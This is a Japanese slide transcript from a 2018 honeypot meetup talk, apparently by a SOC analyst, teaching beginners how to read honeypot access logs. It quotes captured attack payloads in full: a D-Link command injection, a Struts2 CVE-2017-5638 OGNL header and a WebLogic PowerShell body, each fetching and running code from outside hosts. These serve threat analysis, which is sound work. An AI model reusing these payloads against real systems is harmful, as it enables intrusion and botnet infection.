ハニーポットログの 読み方(初級編)

B1c0aa0ded28e92d402bb5203e8b8019?s=47 S-Owl
June 29, 2018

ハニーポットログの 読み方(初級編)

2018年6月30日 第4回 ハニーポッター技術交流会 LT発表資料
#hanipo_tech
第4回ハニーポッター技術交流会
https://hanipo-tech.connpass.com/event/90337/

B1c0aa0ded28e92d402bb5203e8b8019?s=128

S-Owl

June 29, 2018
Tweet

Transcript

  1. ハニーポットログの 読み方(初級編) 第 4 回 ハニーポッター技術交流会 2018/06/30(Sat) @Sec_S_Owl

  2. 2 whomai S-Owl ( @Sec_S_Owl ) ・職業:プライベート SOC のアナリスト     仕事でログ分析をしています。

        不審メールの調査とマルウェアの動的解析も。 ・初心者ハニーポッター( 2018/6/5~ 1 ヶ月未満)  毎日簡単に分析してログを blog に残してます  ブログ: https://sec-owl.hatenablog.com/
  3. 3 アジェンダ モチベーション ハニーポット初心者によるログ分析  ・ ハニーポットのログとは?  ・ アクセスログの何を見るか?  ・ 分析するには? 事例紹介  ・例 1

    : D-Link の脆弱性を突く Mirai 亜種  ・例 2 : Struts2 の脆弱性をつく攻撃  ・例 3 : Weblogic の脆弱性をつく攻撃  ・例 4 : Reaper の攻撃  ・例 5 : Axis Communications 社のネットワークカメラを      狙った調査行為  まとめ
  4. 4 モチベーション ハニーポットを始めた理由 ・仕事で見ている範囲外のログを見たい  世間的に広まった攻撃か、そうでないかを仕事に活かしたい ・ IPS のシグネチャが出る前に攻撃を見つけたい  (過去にそういったインシデントに遭遇した経験あり) ・ハニーポッター技術交流会にハニポ枠で参加したい!

    → Web アクセスログが取れるハニーポットを植えよう  クラウドに低スペックで植えやすいものとして   WOWHoneypot を選択( 1 日で準備できました)  ※ IDCF クラウド ( 日本 ) で \500/ 月
  5. 5 ハニーポット初心者による 自己流ログ分析 あるいは SOC アナリスト的ハニポログ簡易分析

  6. 6 ハニーポットへのアクセスとは? ハニーポットへのアクセスは全てあやしいアクセス (正常通信かを考えなくていい) (ドメイン登録していない場合) ・どこにも公開していないのに、勝手に探してアクセスしてくる ・ IP ベースでアクセスしてくる自動的なスキャン行為 →

    全て調査対象のログ 攻撃(およびその予備軍の調査)ログを目的に調べるか? →(自分は)  ・標的としている機器またはソフトウェアの特定  ・攻撃コードがあれば、その攻撃の意図
  7. 7 アクセスログの何を見るか? 主に見るのは、メソッドとパス GET ならパス + クエリ POST ならパス +

    ボディ で攻撃内容を調査する(ググる)。 User-Agent も特徴的であれば、それも使って調査 他は特徴的なところ、ログのうち通常と異なる部分を見る →そのためには通常のアクセスログを把握しておく   HTTP 通信に関する基本的な知識は必要 個人的には、送信元 IP での分析はあまりしない。
  8. 8 (参考)正常のログ 自分でハニポにブラウザでアクセスしてどう出るか見てみる GET / HTTP/1.1 Host: ( サーバ IP

    アドレス ) Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,ima ge/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 ブラウザでアクセスすると GET /favicon.ico へのアクセスも出る
  9. 9 分析するには? 攻撃者の狙いを考える ・調査をして、対象を絞り込む ・リモートから任意のコード実行可能な脆弱性を突く ・脆弱性を突けたら継続して利用できるようマルウェアを仕込む → マルウェアを仕込むようなアクセスが攻撃者の意図に近い  ( wget

    や curl 、 FTP 等)  脆弱性が分かれば狙っている機器 / ソフトウェアが分かる 攻撃通信のパターンになれることで、判別しやすい 繰り返せばどんどん理解が早くなっていく どこが攻撃コードか分からない時のオススメ ・ハニーポットへの通信を IDS に入れて検知させる ・「サイバー攻撃の足跡を分析するハニーポット観察記録」を読む
  10. 10 事例紹介

  11. 11 例 1:D-Link の脆弱性を突く Mirai 亜種 このアクセスログが来た時、どこから調べるか? GET /login.cgi?cli=aa aa';wget

    hxxp://185.62.190[.]191/r -O -> /tmp/r;sh /tmp/r'$ Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World クエリと User-Agent が特徴的。 クエリに攻撃コードが含まれている為、恐らくその前までに脆弱 性があると推測。 それをキーワードに調査。 誤クリック防止の為、 http→hxxp としています
  12. 12 ググった 結果 同じ ペイロード 情報を発見 標的機器と exploit の 情報源も

    例 1:D-Link の脆弱性を突く Mirai 亜種 同じペイロード 標的と exploit の情報
  13. 13 Google で Exploit-DB 内をクエリで調査しても同じページが 出てくる GET /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r

    -O -> /tmp/r;sh /tmp/r'$ 例 1:D-Link の脆弱性を突く Mirai 亜種
  14. 14 Exploit コードの中身はアクセスログに一致する内容 GET /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O -> /tmp/r;sh

    /tmp/r'$ 例 1:D-Link の脆弱性を突く Mirai 亜種
  15. 15 攻撃コードを Hybrid-Analysisで調べてみると更に Bot 用ファイ ルをダウンロードしていることが分かる。 例 1:D-Link の脆弱性を突く Mirai

    亜種 D-Link のコード実行の脆弱性を 突いて Bot 化させる攻撃と判明
  16. 16 例 2 : Struts2 の脆弱性をつく攻撃 このアクセスログが来た時、どこから調べるか? GET /index.action HTTP/1.1

    Connection: Keep-Alive Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext   @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']) .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl. OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil. getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;   chmod 777 /tmp/Linux.server;/tmp/Linux.server').(#iswin=(@java.lang.System   @getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)). (#process=#p.start()).(#ros=(@org. apache.struts2.ServletActionContext@getResponse(). getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())} Accept: */* Accept-Language: zh-cn Referer: http://(ipaddr):80/index.action User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
  17. 17 例 2 : Struts2 の脆弱性をつく攻撃 気になるポイント GET /index.action HTTP/1.1

    Connection: Keep-Alive Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl. OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com. opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil. getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses(). clear()).(#context. setMemberAccess(#dm)))).(#cmd='wget -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;chmod 777 /tmp/Linux.server;/tmp/Linux.server').(#iswin=(@java.lang.System @getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream (true)).(#process=#p.start()).(#ros=(@org. apache.struts2.ServletActionContext@getResponse ().getOutputStream())).(@org.apache.commons.io.IOUtils@copy (#process.getInputStream(),#ros)).(#ros.flush())} Content-Type が通常と比べ異常 ( 一般的な例 )   Content-Type: text/xml .action は Struts で使われる拡張子 攻撃コードが含まれている
  18. 18 例 2 : Struts2 の脆弱性をつく攻撃 気になるポイントで調べてみる Content-Type: %{(#nike='multipart/form-data'). (#dm=@ognl.OgnlContext

    @DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.c ontainer']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ogn l.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#cmd='wget -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;chmod 777 /tmp/Linux.server;/tmp/Linux.server'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().co ntains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','- c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().get OutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),# ros)).(#ros.flush())} 脆弱性番号: CVE-2017-5638 / S2-045 Apache Struts2 の Content-Type ヘッダ に "multipart/form-data” に脆弱性がある
  19. 19 例 3 : Weblogic の脆弱性をつく攻撃 パスを調べると Weblogic の脆弱性 (CVE-2017-10271)

    と分かる POST /wls-wsat/CoordinatorPortType … <string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E $OS=(GWmi Win32_OperatingSystem). Caption;   $WC=New-ObjectNet.WebClient;$WC.Headers ['User-Agent']="PowerShell/WL $OS";IEX $WC.DownloadString   ('hxxp://101.200.45[.]78/images/test/DL.php');</string> POST のボディ部に攻撃コードが含まれているが、そのまま調査し ても DL.php はダウンロードできない。 発表後資料修正版 →User-Agent が特定の 場合のみアクセス可能な よう制御されている様 子。偽装してアクセスす ることで解析でき、  CoinMiner と判明。 Analyzing Oracle WebLogic attack
  20. 20 単体のログでは不明でも、同じ送信元 IP からのアクセスで集約し た場合に一連のログで見えてくるものがある。 GET /cgi/common.cgi GET /stssys.htm GET

    / POST /command.php POST /command.php : これらのパスで調査 “ /cgi/common.cgi” “/stssys.htm” “/command.php” 例 4 : Reaper の攻撃 他者の blog 等の解説記事により判明することも → Bot による特定機器に対するブルートフォース DIR-610 exploit attack seen on Honeypot
  21. 21 以下のアクセスログを調査。 GET /axis-cgi/jpg/image.cgi HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 5.1;

    U; ru) Presto/2.9.168 Version/11.51 Accept: */* Referer: 1 アクセスパスで検索してみると、以下が見つかった。 (中国語サイトの google 翻訳 ) 例 5 : Axis Communications 社の ネットワークカメラを狙った調査行為
  22. 22 まとめ ・ハニーポットのアクセスログは全て攻撃  全て解析できる(はず)の宝の山 ・アクセスログはまずはメソッドとパスから調べてみよう  やってみると意外と簡単に情報が見つかる。  誰かが調べて情報を出してくれている ・攻撃的なアクセスから攻撃者の意図を推測してみよう  何を対象に狙っているのか、何をしたいのか推測できる ・わかったことは情報発信しよう

  23. 23 FIN